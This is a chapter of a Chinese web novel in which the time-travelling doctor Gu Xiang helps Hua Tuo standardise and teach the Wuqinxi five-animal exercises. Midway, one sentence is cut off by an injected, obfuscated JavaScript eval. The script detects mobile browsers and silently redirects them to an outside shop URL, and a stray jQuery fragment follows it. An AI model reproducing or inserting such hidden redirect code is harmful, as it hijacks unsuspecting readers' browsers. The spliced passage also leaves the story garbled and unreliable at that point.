教村民洗手的那天晚上，顾湘在日记里写了一句话：“今天教村民洗手，华佗在旁边看了一上午。他什么都没说，但我看到他笑了。”
她不知道的是，华佗那天晚上也没睡。他在灯下翻出一卷旧竹简，上面写着他年轻时创编的一套健身术——五禽戏。
五禽戏，模仿虎、鹿、熊、猿、鸟五种动物的动作，通过肢体运动、呼吸吐纳、意念引导来强身健体。华佗从庄子“二禽戏”中得到启发，结合《黄帝内经》的养生理论，花了十几年时间才形成这套功法。但他很少教人，偶尔教几个弟子，也是口传心授，从不写进医书。
“为什么不写进《青囊书》？”顾湘第二天早晨看到那卷竹简，惊讶地问。
“因为还不够好。”华佗说，“五禽戏我教过一些人，有人练了有用，有人练了没用。我不知道为什么。”
顾湘翻开竹简，一字一句地读。
“虎戏者，四肢踞地，昂首睨视，如虎之威猛。三气通之，则筋骨强壮，百病不生……”
她读着读着，眼睛亮了。
这不就是健身操吗？而且是功能性的健身操——模仿动物的动作，锻炼不同的身体部位。虎戏练腰背、鹿戏练颈部、熊戏练脾胃、猿戏练心脑、鸟戏练肺肾。从现代运动医学的角度来看，这几乎是一套完美的全身功能性训练。
“华佗，你练给我看看。”顾湘说。
华佗犹豫了一下。他这辈子还没在别人面前“表演”过五禽戏。
“快点。”
华佗脱了外袍，走到院子里。
他先做虎戏。四肢着地，昂首挺胸，目光如炬。向前扑，向后缩，扭动腰身，动作缓慢而有力。顾湘站在旁边，目不转睛地看着。她注意到，华佗在做这些动作的时候，呼吸很深，腹部随着呼吸起伏，像是在用一种特定的节奏配合肢体运动。
然后是鹿戏。他站起身来，双手如鹿角，仰头、转头、伸颈。动作轻柔流畅，像一只在林中漫步的鹿。顾湘用手摸了摸自己的脖子——她的颈椎一直不好，长期低头写病历落下的职业病。
熊戏最慢。华佗弯下腰，模仿熊的笨重和沉稳。四肢着地，缓慢爬行，每走一步都要停顿一下。他的腹部贴在腿面上，随着呼吸一鼓一收。
猿戏最快。他像猴子一样跳跃、攀援、摘桃。动作敏捷而灵巧，完全不像一个五十多岁的人。顾湘看得目瞪口呆——华佗平时走路都是慢悠悠的，没想到他还能这么灵活。
最后是鸟戏。他张开双臂，单腿站立，身体微微前倾，像一只正要起飞的白鹤。另一条腿向后抬起，与身体成一条直线。保持这个姿势，呼吸了五次，才缓缓放下。
全套做完，华佗额头上出了一层薄汗，面色红润，呼吸反而比做之前更平稳了。
“怎么样？”他问。
顾湘没有立刻回答。她在脑子里飞快地分析：虎戏练的是核心肌群和腰背力量；鹿戏练的是颈椎的灵活性和颈部肌肉；熊戏按摩的是腹腔脏器，促进消化；猿戏锻炼的是心肺功能和协调性；鸟戏训练的是平衡能力和肺活量。每一种动作都有明确的生物力学和生理学依据。
“华佗，你知道你创编的这套东西，在我那个时代叫什么吗？”
“叫什么？”
“功能性健身操。而且是非常科学的功能性健身操。”
华佗皱眉：“功能什么？”
顾湘笑了。她开始解释：人体的脊柱是一节一节的，经常做伸、屈、侧弯、旋转的动作，可以保持脊柱的灵活，延缓退行性病变。华佗的鹿戏，正好做的是颈部的各个方向的活动，对颈椎病有很好的预防作用。
人体的腹部有大量的内脏器官，经常做按摩和挤压的动作，可以促进胃肠蠕动、改善消化功能。华佗的熊戏，正好是腹部贴腿、挤压腹部。
人体的平衡能力靠前庭系统和小脑维持，经常做单腿站立的动作，可以锻炼平衡能力，防止摔倒。华佗的鸟戏，正好是单腿站立、双臂展开。
“你把这些动作用五种动物来代表，老百姓容易记、愿意学。这是非常聪明的设计。”顾湘说，“比我那个时代的健身操还好。我那个时代的健身操，有些人觉得枯燥，做着做着就放弃了。但五禽戏有故事、有形象、有意思，不会厌。”
华佗听着，表情没有什么变化，但顾湘注意到他的耳朵尖微微泛红——他被人当面夸的时候，永远是耳朵先红。
“那为什么有人练了没用？”他问。
“两个原因。第一，动作不标准。你说‘昂首睨视’，每个人昂首的幅度不一样，睨视的角度不一样，效果就不一样。第二，呼吸不对。你练的时候呼吸很深，但你没有教别人怎么呼吸。”
华佗沉默了。
“所以不是五禽戏不好，是你没教好。”顾湘说。
华佗看了她一眼，没有反驳。因为他知道，她说的是对的。
“那你说，怎么教？”
“首先，把动作标准化。”顾湘说，“你不能只说‘昂首睨视’，要说‘昂首至下颌与地面平行，睨视至目光与水平线成三十度角’。你不能只说‘向前扑’，要说‘向前扑一臂之长，落地时前掌先着地’。”
“其次，把呼吸配合进去。每个动作，是吸气还是呼气？吸气吸多久？呼气呼多久？都要定下来。”
“第三，把意念加上去。做虎戏的时候，心里想着老虎；做鸟戏的时候，心里想着飞鸟。意念会引导神经系统的兴奋区域，增强锻炼效果。”
华佗看着她，目光里有震惊，也有敬佩。
“南风，你这些，都是你那个时代的知识？”
“是。但这些知识，是你创编五禽戏的时候已经用上了的。只是你不知道为什么。我给你讲的这些，不是新知识，是把你已经会的东西，翻译成你能听懂的话。”
华佗沉默了很久。
然后他说：“那你帮我翻译。”
从那天起，每天傍晚，顾湘和华佗都会在后院的空地上练五禽戏。华佗做动作，顾湘看；顾湘提意见，华佗改。改了再练，练了再看，看了再改。
“华佗，虎戏的‘向前扑’，你落脚太重了。轻一点，前掌先着地，缓冲冲击力。你年纪大了，膝盖受不了。”
“鹿戏的‘仰头’，你仰的幅度不够。再仰一点，到脖子后面有拉伸感为止。”
“熊戏的‘爬行’，你的腰太直了。弯下去，腹部贴大腿。这样才能按摩到内脏。”
“猿戏的‘跳跃’，你落地的时候膝盖要微屈，不要锁死。锁死了伤膝盖。”
“鸟戏的‘单腿站立’，你身体晃了。核心收紧，眼睛盯着远处一个不动的点。平衡会好很多。”
华佗像个小学生一样，一遍一遍地做，一遍一遍地改。他做了几十年的五禽戏，从来没有被人这样挑过毛病。但每一次顾湘指出问题，他都认真听，认真改。
一个月后，五禽戏的“标准化版本”终于定型了。
顾湘用炭笔把每个动作的画了下来——不是画图，是画“火柴人”。她在华佗的身体上画了关键的骨骼和肌肉线条，标注了角度、幅度、呼吸、意念。虽然画得不好，但华佗看得懂。
“华佗，你再做一遍。我帮你数呼吸。”
华佗从头做起。
“虎戏第一式——吸气，昂首。呼气，沉肩。吸气，向前扑。呼气，后坐……”
顾湘一边数，一边在旁边跟着做。她的动作没有华佗好看，但她做得更标准——因为她懂得每一个动作的力学原理。
两个人一前一后，在月光下练五禽戏。影子投在地上，像两只飞鸟。阿香趴在窗户上偷看，捂着嘴笑。
“阿香，你笑什么？”吴普走过来。
“师父和师娘在跳舞。”
“那不是跳舞，那是五禽戏。”
“有什么区别？”
吴普想了想，说：“跳舞是两个人，五禽戏也是两个人。好像没什么区别。”
阿香笑得肩膀一抖一抖的。
第二个月，华佗开始在济世堂教五禽戏。
第一批学生是吴普、樊阿、阿香、张玄。华佗在前面做，顾湘在旁边讲解。
“虎戏第一式：昂首。下颌与地面平行。吸气，吸满胸腔；呼气，把气送到腹部。意念想着老虎的眼睛——锐利、专注。”
张玄做得最认真，每一个角度都拿尺子量。阿香做得最柔软，像是天生就会。吴普做得最用力，每次都把自己累得气喘吁吁。樊阿做得最标准，但面无表情，像是在完成一项任务。
华佗看着他们，嘴角微微弯了一下。
“师父
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641824|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，你笑了。”吴普说。
“没有。”
“我看到了。你嘴角弯了。”
华佗转身走回药房。
吴普在后面喊：“师父，你笑一下怎么了？笑一下又不犯法！”
回答他的是药房的门“砰”的一声关上了。
第三个月，华佗开始在村里教五禽戏。每天早上，天刚亮，济世堂门口的空地上就聚集了几十个村民。华佗在前面带，顾湘在后面纠正动作。阿香和吴普穿插在人群里，帮村民们调整姿势。
“张大婶，你的头再仰一点。对，就是这样。”
“李大叔，你的腰弯下去。腹部贴大腿，别怕折。”
“小虎，你做猴戏的时候不要真的像猴子一样乱蹦。要有控制，蹦得太高容易摔。”
村民们学得很慢，但很认真。他们不懂什么“功能性健身”，不懂什么“生物力学”，但他们知道一件事——华先生说的，一定是对的。
一个月后，最早学五禽戏的那批村民开始有了变化。张大婶的腰不疼了，李大叔的肚子不那么胀了，小虎的个子长高了——当然，这跟五禽戏没关系，但大家都说是五禽戏的功劳。
消息传开了。周边村子的人也开始来学。每天早上，济世堂门口的空地上挤满了人，有老有少，有男有女。他们跟着华佗的动作，学老虎、学鹿、学熊、学猴子、学鸟。
顾湘站在旁边，看着这热闹的场景，忽然想起一件事。
“华佗。”
“嗯。”
“你之前说，五禽戏你不写进《青囊书》，是因为它还不够好。”
“现在够了。”华佗说。
“那你写吗？”
华佗没有回答。但那天晚上，他拿出了一卷空白的竹简，写下了三个字：五禽戏。
然后，一笔一划地写下了每一式的名称、动作要领、呼吸方法、意念引导。写完之后，他在卷末加了一句话：
“五禽戏者，华佗所创，南风所校。二人相携，共成此篇。愿后人习之，强身健体，百病不侵。”
顾湘看到“南风所校”四个字，鼻子一酸。
“华佗，你把我的名字写上了。”
“本来就是你的。没有你，五禽戏还是那个‘不够好’的五禽戏。”
“可是——”
“没有可是。”华佗放下笔，看着她，“南风，这是我们一起做的事。你的名字，应该在上面。”
顾湘低下头，假装去整理竹简，不让他看到自己泛红的眼眶。
窗外，月亮很圆。院子里，村民们还在练五禽戏——虽然没人带着，但他们自己练。张大婶做着虎戏，李大叔做着熊戏，小虎做着猿戏。没有人偷懒，没有人提前走。
顾湘看着他们，心里想：这就是传承。华佗教他们，他们教别人，别人教更多的人。一代一代，生生不息。
她转过头，看着华佗。
华佗正在灯下写五禽戏的说明文字。他的手指还是那么长，字迹还是那么工整。但他的鬓角，已经有了白发。
“华佗。”
“嗯。”
“五禽戏会传下去的。”
“我知道。”
“一千年后还有人练。”
华佗抬起头看着她。
“你那个时代？”
“我那个时代，很多人练。公园里、广场上、小区楼下——每天早晨，都有很多人一起练。有的练得好，有的练得不好。但大家都在动。”
华佗的嘴角微微弯了一下。
“那就好。”
他低下头，继续写。
风吹过院子，槐树的叶子沙沙作响。月光洒在两个人的身上，把他们的影子投在墙上，交叠在一起。
顾湘忽然想起她那个时代的广场舞。那些老太太们在音乐声中摇摆，脸上带着笑，手舞足蹈。她们不知道，一千八百年前，有一个人创编了一套动作，让她们的身体更健□□活更有趣。
那个人，此刻就在她身边。
她伸出手，握住了华佗的左手。华佗正在写字的右手顿了一下，然后继续写。但他没有抽回左手。
就这样，她握着他，他写着字。月光下，两个人、一盏灯、一卷竹简。
就这么过去了。
日子，真好！